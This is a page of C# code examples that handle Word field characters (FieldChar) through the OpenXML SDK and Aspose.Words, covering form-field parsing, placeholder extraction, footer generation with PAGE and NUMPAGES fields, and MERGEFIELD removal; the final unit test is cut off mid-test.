Exemplo n.º 1
0
        public static void ParseJson(string filepath, GenerateForm genForm,
                                     CheckBoxAction checkBoxAction, TextFieldAction textFieldAction)
        {
            using (WordprocessingDocument wordprocessingDocument = WordprocessingDocument.Open(filepath, true))
            {
                IDictionary <String, BookmarkStart> bookmarkMap = new Dictionary <String, BookmarkStart>();
                foreach (BookmarkStart bookmarkStart in wordprocessingDocument.MainDocumentPart.RootElement.Descendants <BookmarkStart>())
                {
                    bookmarkMap[bookmarkStart.Name] = bookmarkStart;
                }

                foreach (BookmarkStart bookmarkStart in bookmarkMap.Values)
                {
                    Run bookmarkFieldCode = bookmarkStart.NextSibling <Run>();
                    if (bookmarkFieldCode != null)
                    {
                        FieldCode fcode = bookmarkFieldCode.GetFirstChild <FieldCode>();
                        if (fcode != null && FormTypes.isFormType(fcode.Text))
                        {
                            if (FormTypes.FormCheckBox.Is(fcode.Text))
                            {
                                Run           checkboxRun   = bookmarkStart.PreviousSibling <Run>();
                                FieldChar     fieldChar     = checkboxRun?.GetFirstChild <FieldChar>();
                                FormFieldData formFieldData = fieldChar?.GetFirstChild <FormFieldData>();
                                CheckBox      checkbox      = formFieldData?.GetFirstChild <CheckBox>();
                                //Note: docs say Checked should appear however type is DefaultCheckBoxFormFieldState
                                //Checked checkboxChecked =  checkbox?.GetFirstChild<Checked>();
                                DefaultCheckBoxFormFieldState checkboxChecked = checkbox?.GetFirstChild <DefaultCheckBoxFormFieldState>();
                                if (checkboxChecked != null)
                                {
                                    PrintVerbose("" + (bool)checkboxChecked.Val);
                                    checkBoxAction(genForm, bookmarkStart.Name, checkboxChecked);
                                }
                            }
                            else if (FormTypes.FormText.Is(fcode.Text))
                            {
                                while (bookmarkFieldCode.NextSibling <Run>() != null)
                                {
                                    Text bookmarkText = bookmarkFieldCode.GetFirstChild <Text>();
                                    if (bookmarkText != null)
                                    {
                                        PrintVerbose(bookmarkText.Text);
                                        textFieldAction(genForm, bookmarkStart.Name, bookmarkText);
                                    }
                                    bookmarkFieldCode = bookmarkFieldCode.NextSibling <Run>();
                                }
                            }
                        }
                    }
                }
            }
        }
Exemplo n.º 2
0
        public void GetFieldType()
        {
            Aspose.Words.Document doc = new Aspose.Words.Document(MyDir + "Document.TableOfContents.doc");

            //ExStart
            //ExFor:FieldType
            //ExFor:FieldChar
            //ExFor:FieldChar.FieldType
            //ExSummary:Shows how to find the type of field that is represented by a node which is derived from FieldChar.
            FieldChar fieldStart = (FieldChar)doc.GetChild(NodeType.FieldStart, 0, true);
            FieldType type       = fieldStart.FieldType;
            //ExEnd
        }
Exemplo n.º 3
0
        /// <summary>
        /// Extrahiert Platzhalter Felder aus einem Dokument
        /// </summary>
        /// <param name="document">Dokument mit Platzhaltern</param>
        /// <returns>Platzhalter des Dokuments</returns>
        private List <PlaceholderField> ExtractFields(WordprocessingDocument document)
        {
            List <PlaceholderField> fields = new List <PlaceholderField>();

            // Alle Elemente iterieren um auch FieldChars extrahieren zu können
            List <OpenXmlElement> fieldCharElements = null;

            OpenXmlElement[] descendants = document.MainDocumentPart.Document.Descendants().ToArray();
            foreach (var item in descendants)
            {
                // SimpleField prüfen
                if (item is SimpleField)
                {
                    fields.Add(ExtractSimpleField((SimpleField)item));
                    continue;
                }

                // FieldChar prüfen
                if (item is FieldChar)
                {
                    FieldChar fieldChar = (FieldChar)item;

                    //Prüfen ob neues FieldChar Feld beginnt
                    if (fieldChar.FieldCharType == "begin")
                    {
                        //Wenn bereits ein FieldChar Feld aktiv ist Fehler werfen
                        if (fieldCharElements != null)
                        {
                            throw new Exception("Placeholder inside placeholder found. This is not supported.");
                        }
                        fieldCharElements = new List <OpenXmlElement>();
                    }
                    else if (fieldChar.FieldCharType == "end")
                    {
                        // Endes des FieldChars => Daten in PlaceHolder Field umwandeln
                        fields.Add(ExtractFieldChar(fieldCharElements));
                        fieldCharElements = null;
                        continue;
                    }
                }

                if (fieldCharElements != null)
                {
                    fieldCharElements.Add(item);
                }
            }

            return(fields);
        }
Exemplo n.º 4
0
        public static List <string> getContent(WordprocessingDocument doc)
        {
            Body body = doc.MainDocumentPart.Document.Body;
            IEnumerable <Paragraph> para = body.Elements <Paragraph>();
            List <string>           list = new List <string>();
            bool begin = false;

            foreach (Paragraph p in para)
            {
                Run       r        = p.GetFirstChild <Run>();
                Hyperlink h        = p.GetFirstChild <Hyperlink>();
                FieldChar f        = null;
                String    paratext = "";
                if (r != null)
                {
                    paratext = Util.getFullText(p).Trim();
                    f        = r.GetFirstChild <FieldChar>();
                }
                else if (h != null)
                {
                    paratext = Util.getFullText(p);
                }
                else
                {
                    continue;
                }
                if (paratext.Replace(" ", "") == "目录")
                {
                    begin = true;
                    continue;
                }
                if (begin)
                {
                    if (f == null && h == null)
                    {
                        return(list);
                    }
                    else
                    {
                        list.Add(paratext);
                    }
                }
            }
            return(list);
        }
Exemplo n.º 5
0
        private Paragraph addLinkToParagraph(WordprocessingDocument doc, Paragraph paragraph1, int id)
        {
            Body body = doc.MainDocumentPart.Document.Body;

            BookmarkStart bookmarkStart = new BookmarkStart {
                Name = @"text_of_tips_" + id, Id = id.ToString()
            };
            BookmarkEnd bookmarkEnd = new BookmarkEnd()
            {
                Id = id.ToString()
            };

            body.InsertBefore <BookmarkStart>(bookmarkStart, paragraph1);
            body.InsertAfter <BookmarkEnd>(bookmarkEnd, paragraph1);

            Paragraph paragraph3 = new Paragraph();

            Run run2 = new Run {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run2.Append(fieldChar1);
            Run run3 = new Run {
                RsidRunAddition = "009B0519"
            };
            FieldCode fieldCode1 = new FieldCode();                            // { Space = SpaceProcessingModeValues.Preserve };

            fieldCode1.Text = string.Format(" REF text_of_tips_{0} \\h ", id); // Link to bookmark p_1
            run3.Append(fieldCode1);
            Run run4 = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar2 = new FieldChar {
                FieldCharType = FieldCharValues.Separate
            };

            run4.Append(fieldChar2);
            Run run5 = new Run()
            {
                RsidRunAddition = "009B0519"
            };

            Text text2 = new Text();

            //paragraph1.InnerText;
            text2.Text = paragraph1.InnerText; //"name of smeta from output documents of Investor " + id;
            run5.Append(text2);

            Run       run6       = new Run();
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run6.Append(fieldChar3);
            paragraph3.Append(run2);
            paragraph3.Append(run3);
            paragraph3.Append(run4);
            paragraph3.Append(run5);
            paragraph3.Append(run6);
            return(paragraph3);
        }
Exemplo n.º 6
0
        /// <summary>
        /// Perform processing on a token. Note that this is not called for discarded tokens.
        /// Figure out what to do with a token. Check if it is a field, etc.
        /// </summary>
        /// <remarks>
        /// XML Word fields can either be simple, or complex. Complex are spread over multiple elements, and can also be nested.
        /// </remarks>
        /// <param name="token"></param>
        void ProcessToken(Token token)
        {
            OpenXmlElement element = token.SourceNode;

            // Handle complex-token delimiters
            if (token.IsOpen && element is FieldChar)
            {
                FieldChar fc = (FieldChar)element;
                if (fc.FieldCharType.HasValue)
                {
                    switch (fc.FieldCharType.Value)
                    {
                    // Start-marker a complex field
                    case FieldCharValues.Begin:
                        if (CurrentField != null)
                        {
                            CurrentField.ContainsNestedFields = true;
                        }

                        FieldData fieldData = new FieldData
                        {
                            FieldType   = FieldType.Complex,
                            FieldState  = FieldState.InFieldCode,
                            Instruction = "",
                            SourceStart = new Token(element.Parent, false)
                        };
                        // Push onto complex field stack
                        _fieldDataStack.Push(fieldData);
                        break;

                    // Partition of a complex field (switches from detecting instruction, to detecting field text)
                    case FieldCharValues.Separate:
                        if (CurrentField == null)
                        {
                            throw new Exception("Unexpected fldChar:separate");
                        }
                        CurrentField.FieldState = FieldState.InFieldText;
                        break;

                    // End-marker for a complex field
                    case FieldCharValues.End:
                        if (CurrentField == null)
                        {
                            throw new Exception("Unexpected fldChar:end");
                        }
                        CurrentField.FieldState = FieldState.Done;
                        CurrentField.SourceEnd  = new Token(element.Parent, true);

                        // Process the field
                        ProcessField(CurrentField);
                        // Pop off complex field stack
                        _fieldDataStack.Pop();
                        break;
                    }
                }
            }

            // Handle a field code (instrText) element within a complex field
            // That is, content that may be part of the instruction.
            if (token.IsOpen && element is FieldCode)
            {
                if (CurrentField != null && CurrentField.FieldState == FieldState.InFieldCode)
                {
                    FieldCode fieldCode = (FieldCode)element;
                    CurrentField.Instruction += fieldCode.InnerText;
                }
            }

            // Handle an entire simplefield
            if (token.IsOpen && element is SimpleField)
            {
                // E.g:
                // <fldSimple> <r> <t/> </r> </fldSimple>
                SimpleField sf = (SimpleField)element;

                FieldData fieldData = new FieldData
                {
                    Instruction = sf.Instruction,
                    FieldState  = FieldState.Done,
                    SourceStart = new Token(element, false),
                    SourceEnd   = new Token(element, true),
                    FieldType   = FieldType.Simple
                };
                ProcessField(fieldData);
            }
        }
        public static void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            var footer1 = new Footer {
                MCAttributes = new MarkupCompatibilityAttributes {
                    Ignorable = "w14 w15 w16se w16cid wp14"
                }
            };

            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("cx", "http://schemas.microsoft.com/office/drawing/2014/chartex");
            footer1.AddNamespaceDeclaration("cx1", "http://schemas.microsoft.com/office/drawing/2015/9/8/chartex");
            footer1.AddNamespaceDeclaration("cx2", "http://schemas.microsoft.com/office/drawing/2015/10/21/chartex");
            footer1.AddNamespaceDeclaration("cx3", "http://schemas.microsoft.com/office/drawing/2016/5/9/chartex");
            footer1.AddNamespaceDeclaration("cx4", "http://schemas.microsoft.com/office/drawing/2016/5/10/chartex");
            footer1.AddNamespaceDeclaration("cx5", "http://schemas.microsoft.com/office/drawing/2016/5/11/chartex");
            footer1.AddNamespaceDeclaration("cx6", "http://schemas.microsoft.com/office/drawing/2016/5/12/chartex");
            footer1.AddNamespaceDeclaration("cx7", "http://schemas.microsoft.com/office/drawing/2016/5/13/chartex");
            footer1.AddNamespaceDeclaration("cx8", "http://schemas.microsoft.com/office/drawing/2016/5/14/chartex");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("aink", "http://schemas.microsoft.com/office/drawing/2016/ink");
            footer1.AddNamespaceDeclaration("am3d", "http://schemas.microsoft.com/office/drawing/2017/model3d");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("w15", "http://schemas.microsoft.com/office/word/2012/wordml");
            footer1.AddNamespaceDeclaration("w16cid", "http://schemas.microsoft.com/office/word/2016/wordml/cid");
            footer1.AddNamespaceDeclaration("w16se", "http://schemas.microsoft.com/office/word/2015/wordml/symex");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            var paragraph273 = new Paragraph {
                RsidParagraphAddition = "009B2C1D", RsidRunAdditionDefault = "009E39C2", ParagraphId = "71F3416E", TextId = "77777777"
            };

            var paragraphProperties176 = new ParagraphProperties();
            var paragraphStyleId1      = new ParagraphStyleId {
                Val = "leftRight"
            };

            paragraphProperties176.Append(paragraphStyleId1);

            var run396  = new Run();
            var text366 = new Text {
                Text = "Confidential Candidate CV"
            };

            run396.Append(text366);

            var run397   = new Run();
            var tabChar1 = new TabChar();

            run397.Append(tabChar1);

            var run398     = new Run();
            var fieldChar1 = new FieldChar {
                FieldCharType = FieldCharValues.Begin
            };

            run398.Append(fieldChar1);

            var run399     = new Run();
            var fieldCode1 = new FieldCode {
                Text = "PAGE"
            };

            run399.Append(fieldCode1);

            var run400     = new Run();
            var fieldChar2 = new FieldChar {
                FieldCharType = FieldCharValues.Separate
            };

            run400.Append(fieldChar2);

            var run401 = new Run();

            var runProperties394 = new RunProperties();
            var noProof30        = new NoProof();

            runProperties394.Append(noProof30);
            var text367 = new Text {
                Text = "2"
            };

            run401.Append(runProperties394);
            run401.Append(text367);

            var run402     = new Run();
            var fieldChar3 = new FieldChar {
                FieldCharType = FieldCharValues.End
            };

            run402.Append(fieldChar3);

            paragraph273.Append(paragraphProperties176);
            paragraph273.Append(run396);
            paragraph273.Append(run397);
            paragraph273.Append(run398);
            paragraph273.Append(run399);
            paragraph273.Append(run400);
            paragraph273.Append(run401);
            paragraph273.Append(run402);

            footer1.Append(paragraph273);

            footerPart1.Footer = footer1;
        }
Exemplo n.º 8
0
        private void RemoveFields(string fname)
        {
            using (WordprocessingDocument pkgDoc = WordprocessingDocument.Open(fname, true))
            {
                string   fieldList = string.Empty;
                Document doc       = pkgDoc.MainDocumentPart.Document;
                //Get all field code elements in the document
                IEnumerable <FieldChar> fldChars = doc.Descendants <FieldChar>();
                if (fldChars == null)
                {
                    return;                   //No field codes in the document
                }
                // bool fldStart = false;
                FieldChar fldCharStart = null;
                FieldChar fldCharEnd   = null;
                FieldChar fldCharSep   = null;
                FieldCode fldCode      = null;
                string    fldContent   = String.Empty;
                foreach (FieldChar fldChar in fldChars)
                {
                    string fldCharPart = fldChar.FieldCharType.ToString();
                    switch (fldCharPart)
                    {
                    case "begin":     //start of the field
                        fldCharStart = fldChar;
                        //get the field code, which will be an instrText element
                        // either as sibling or as a child of the parent sibling
                        fldCode = fldCharStart.Parent.Descendants <FieldCode>().FirstOrDefault();
                        if (fldCode == null)     //complex field
                        {
                            fldCode = fldCharStart.Parent.NextSibling <Run>().Descendants <FieldCode>().FirstOrDefault();
                        }
                        if (fldCode != null && fldCode.InnerText.Contains("MERGEFIELD"))
                        {
                            fldContent = fldCode.InnerText;
                            fieldList += fldContent + "\n";
                        }
                        break;

                    case "end":     // end of the field
                        fldCharEnd = fldChar;
                        break;

                    case "separate":     //complex field with text result
                                         //we want to put the database content in this text run
                                         //yet still remove the field code
                                         //If there's no "separate" field char for the current field,
                                         //we need to insert it somewhere else
                        fldCharSep = fldChar;
                        break;

                    default:
                        break;
                    }
                    if ((fldCharStart != null) && (fldCharEnd != null)) //start and end field codes have been found
                    {
                        if (fldCharSep != null)
                        {
                            DocumentFormat.OpenXml.Wordprocessing.Text elemText = (DocumentFormat.OpenXml.Wordprocessing.Text)fldCharSep.Parent.NextSibling().Descendants <DocumentFormat.OpenXml.Wordprocessing.Text>().FirstOrDefault();
                            elemText.Text = fldContent;
                            //Delete all the field chars with their runs
                            DeleteFieldChar(fldCharStart);
                            DeleteFieldChar(fldCharEnd);
                            DeleteFieldChar(fldCharSep);
                            fldCode.Remove();
                        }
                        else
                        {
                            DocumentFormat.OpenXml.Wordprocessing.Text elemText = new DocumentFormat.OpenXml.Wordprocessing.Text(fldContent);
                            fldCode.Parent.Append(elemText);
                            fldCode.Remove();
                            //Delete all the field chars with their runs
                            DeleteFieldChar(fldCharStart);
                            DeleteFieldChar(fldCharEnd);
                            DeleteFieldChar(fldCharSep);
                        }
                        fldCharStart = null;
                        fldCharEnd   = null;
                        fldCharSep   = null;
                        fldCode      = null;
                        fldContent   = string.Empty;
                    }
                }
            }
        }
Exemplo n.º 9
0
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() { MCAttributes = new MarkupCompatibilityAttributes() { Ignorable = "w14 wp14" } };
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            Paragraph paragraph51 = new Paragraph() { RsidParagraphAddition = "004F7F90", RsidRunAdditionDefault = "00900A10" };

            ParagraphProperties paragraphProperties49 = new ParagraphProperties();
            WidowControl widowControl49 = new WidowControl() { Val = false };

            ParagraphBorders paragraphBorders1 = new ParagraphBorders();
            TopBorder topBorder18 = new TopBorder() { Val = BorderValues.Single, Color = "auto", Size = (UInt32Value)4U, Space = (UInt32Value)5U };

            paragraphBorders1.Append(topBorder18);
            AutoSpaceDE autoSpaceDE49 = new AutoSpaceDE() { Val = false };
            AutoSpaceDN autoSpaceDN49 = new AutoSpaceDN() { Val = false };
            AdjustRightIndent adjustRightIndent49 = new AdjustRightIndent() { Val = false };
            SpacingBetweenLines spacingBetweenLines35 = new SpacingBetweenLines() { After = "0", Line = "240", LineRule = LineSpacingRuleValues.Auto };
            Justification justification10 = new Justification() { Val = JustificationValues.Center };

            ParagraphMarkRunProperties paragraphMarkRunProperties49 = new ParagraphMarkRunProperties();
            RunFonts runFonts91 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize91 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript91 = new FontSizeComplexScript() { Val = "18" };

            paragraphMarkRunProperties49.Append(runFonts91);
            paragraphMarkRunProperties49.Append(fontSize91);
            paragraphMarkRunProperties49.Append(fontSizeComplexScript91);

            paragraphProperties49.Append(widowControl49);
            paragraphProperties49.Append(paragraphBorders1);
            paragraphProperties49.Append(autoSpaceDE49);
            paragraphProperties49.Append(autoSpaceDN49);
            paragraphProperties49.Append(adjustRightIndent49);
            paragraphProperties49.Append(spacingBetweenLines35);
            paragraphProperties49.Append(justification10);
            paragraphProperties49.Append(paragraphMarkRunProperties49);

            Run run43 = new Run();

            RunProperties runProperties43 = new RunProperties();
            RunFonts runFonts92 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize92 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript92 = new FontSizeComplexScript() { Val = "18" };

            runProperties43.Append(runFonts92);
            runProperties43.Append(fontSize92);
            runProperties43.Append(fontSizeComplexScript92);
            Text text43 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text43.Text = "Страница ";

            run43.Append(runProperties43);
            run43.Append(text43);

            Run run44 = new Run();

            RunProperties runProperties44 = new RunProperties();
            RunFonts runFonts93 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize93 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript93 = new FontSizeComplexScript() { Val = "18" };

            runProperties44.Append(runFonts93);
            runProperties44.Append(fontSize93);
            runProperties44.Append(fontSizeComplexScript93);
            FieldChar fieldChar1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run44.Append(runProperties44);
            run44.Append(fieldChar1);

            Run run45 = new Run();

            RunProperties runProperties45 = new RunProperties();
            RunFonts runFonts94 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize94 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript94 = new FontSizeComplexScript() { Val = "18" };

            runProperties45.Append(runFonts94);
            runProperties45.Append(fontSize94);
            runProperties45.Append(fontSizeComplexScript94);
            FieldCode fieldCode1 = new FieldCode();
            fieldCode1.Text = "PAGE";

            run45.Append(runProperties45);
            run45.Append(fieldCode1);

            Run run46 = new Run();

            RunProperties runProperties46 = new RunProperties();
            RunFonts runFonts95 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize95 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript95 = new FontSizeComplexScript() { Val = "18" };

            runProperties46.Append(runFonts95);
            runProperties46.Append(fontSize95);
            runProperties46.Append(fontSizeComplexScript95);
            FieldChar fieldChar2 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run46.Append(runProperties46);
            run46.Append(fieldChar2);

            Run run47 = new Run() { RsidRunAddition = "00D60978" };

            RunProperties runProperties47 = new RunProperties();
            RunFonts runFonts96 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            NoProof noProof1 = new NoProof();
            FontSize fontSize96 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript96 = new FontSizeComplexScript() { Val = "18" };

            runProperties47.Append(runFonts96);
            runProperties47.Append(noProof1);
            runProperties47.Append(fontSize96);
            runProperties47.Append(fontSizeComplexScript96);
            Text text44 = new Text();
            text44.Text = "1";

            run47.Append(runProperties47);
            run47.Append(text44);

            Run run48 = new Run();

            RunProperties runProperties48 = new RunProperties();
            RunFonts runFonts97 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize97 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript97 = new FontSizeComplexScript() { Val = "18" };

            runProperties48.Append(runFonts97);
            runProperties48.Append(fontSize97);
            runProperties48.Append(fontSizeComplexScript97);
            FieldChar fieldChar3 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run48.Append(runProperties48);
            run48.Append(fieldChar3);

            Run run49 = new Run();

            RunProperties runProperties49 = new RunProperties();
            RunFonts runFonts98 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize98 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript98 = new FontSizeComplexScript() { Val = "18" };

            runProperties49.Append(runFonts98);
            runProperties49.Append(fontSize98);
            runProperties49.Append(fontSizeComplexScript98);
            Text text45 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text45.Text = " из ";

            run49.Append(runProperties49);
            run49.Append(text45);

            Run run50 = new Run();

            RunProperties runProperties50 = new RunProperties();
            RunFonts runFonts99 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize99 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript99 = new FontSizeComplexScript() { Val = "18" };

            runProperties50.Append(runFonts99);
            runProperties50.Append(fontSize99);
            runProperties50.Append(fontSizeComplexScript99);
            FieldChar fieldChar4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run50.Append(runProperties50);
            run50.Append(fieldChar4);

            Run run51 = new Run();

            RunProperties runProperties51 = new RunProperties();
            RunFonts runFonts100 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize100 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript100 = new FontSizeComplexScript() { Val = "18" };

            runProperties51.Append(runFonts100);
            runProperties51.Append(fontSize100);
            runProperties51.Append(fontSizeComplexScript100);
            FieldCode fieldCode2 = new FieldCode();
            fieldCode2.Text = "NUMPAGES";

            run51.Append(runProperties51);
            run51.Append(fieldCode2);

            Run run52 = new Run();

            RunProperties runProperties52 = new RunProperties();
            RunFonts runFonts101 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize101 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript101 = new FontSizeComplexScript() { Val = "18" };

            runProperties52.Append(runFonts101);
            runProperties52.Append(fontSize101);
            runProperties52.Append(fontSizeComplexScript101);
            FieldChar fieldChar5 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run52.Append(runProperties52);
            run52.Append(fieldChar5);

            Run run53 = new Run() { RsidRunAddition = "00D60978" };

            RunProperties runProperties53 = new RunProperties();
            RunFonts runFonts102 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            NoProof noProof2 = new NoProof();
            FontSize fontSize102 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript102 = new FontSizeComplexScript() { Val = "18" };

            runProperties53.Append(runFonts102);
            runProperties53.Append(noProof2);
            runProperties53.Append(fontSize102);
            runProperties53.Append(fontSizeComplexScript102);
            Text text46 = new Text();
            text46.Text = "1";

            run53.Append(runProperties53);
            run53.Append(text46);

            Run run54 = new Run();

            RunProperties runProperties54 = new RunProperties();
            RunFonts runFonts103 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize103 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript103 = new FontSizeComplexScript() { Val = "18" };

            runProperties54.Append(runFonts103);
            runProperties54.Append(fontSize103);
            runProperties54.Append(fontSizeComplexScript103);
            FieldChar fieldChar6 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run54.Append(runProperties54);
            run54.Append(fieldChar6);

            Run run55 = new Run();

            RunProperties runProperties55 = new RunProperties();
            RunFonts runFonts104 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize104 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript104 = new FontSizeComplexScript() { Val = "18" };

            runProperties55.Append(runFonts104);
            runProperties55.Append(fontSize104);
            runProperties55.Append(fontSizeComplexScript104);
            Text text47 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text47.Text = " ";

            run55.Append(runProperties55);
            run55.Append(text47);

            paragraph51.Append(paragraphProperties49);
            paragraph51.Append(run43);
            paragraph51.Append(run44);
            paragraph51.Append(run45);
            paragraph51.Append(run46);
            paragraph51.Append(run47);
            paragraph51.Append(run48);
            paragraph51.Append(run49);
            paragraph51.Append(run50);
            paragraph51.Append(run51);
            paragraph51.Append(run52);
            paragraph51.Append(run53);
            paragraph51.Append(run54);
            paragraph51.Append(run55);

            footer1.Append(paragraph51);

            footerPart1.Footer = footer1;
        }
        public void CompositeElementGetSetChildrenTest()
        {
            // test case for OpenXmlCompositeType.OneSequence
            RunProperties target = new RunProperties();
            Bold          bold   = new Bold();

            target.Bold = bold;

            Assert.Same(bold, target.Bold);
            Assert.Same(bold, target.FirstChild);

            Italic italic = new Italic();

            target.AppendChild(italic);
            Assert.Same(bold, target.Bold);
            Assert.Same(italic, target.Italic);
            Assert.Same(italic, target.LastChild);

            OpenXmlMiscNode miscNod = new OpenXmlMiscNode(System.Xml.XmlNodeType.Comment, @"<!-- my comment --> ");

            target.InsertAfter(miscNod, italic);
            Assert.Same(bold, target.Bold);
            Assert.Same(italic, target.Italic);
            Assert.Same(miscNod, target.LastChild);

            Caps caps = new Caps();

            target.Caps = caps;
            Assert.Same(bold, target.Bold);
            Assert.Same(italic, target.Italic);
            Assert.Same(caps, target.Caps);
            Assert.Same(miscNod, target.LastChild);

            Shadow shadow = new Shadow();

            target.InsertAfter(shadow, miscNod);
            Assert.Same(bold, target.Bold);
            Assert.Same(italic, target.Italic);
            Assert.Same(caps, target.Caps);
            Assert.Same(shadow, target.Shadow);
            Assert.Same(shadow, target.LastChild);

            // test case for OpenXmlCompositeType.OneChoice
            FieldChar fieldChar = new FieldChar();

            FieldData fldData = new FieldData();

            fieldChar.FieldData = fldData;
            Assert.Same(fldData, fieldChar.FieldData);

            FormFieldData ffData = new FormFieldData();

            fieldChar.FormFieldData = ffData;
            Assert.Same(ffData, fieldChar.FormFieldData);
            Assert.Null(fieldChar.FieldData);

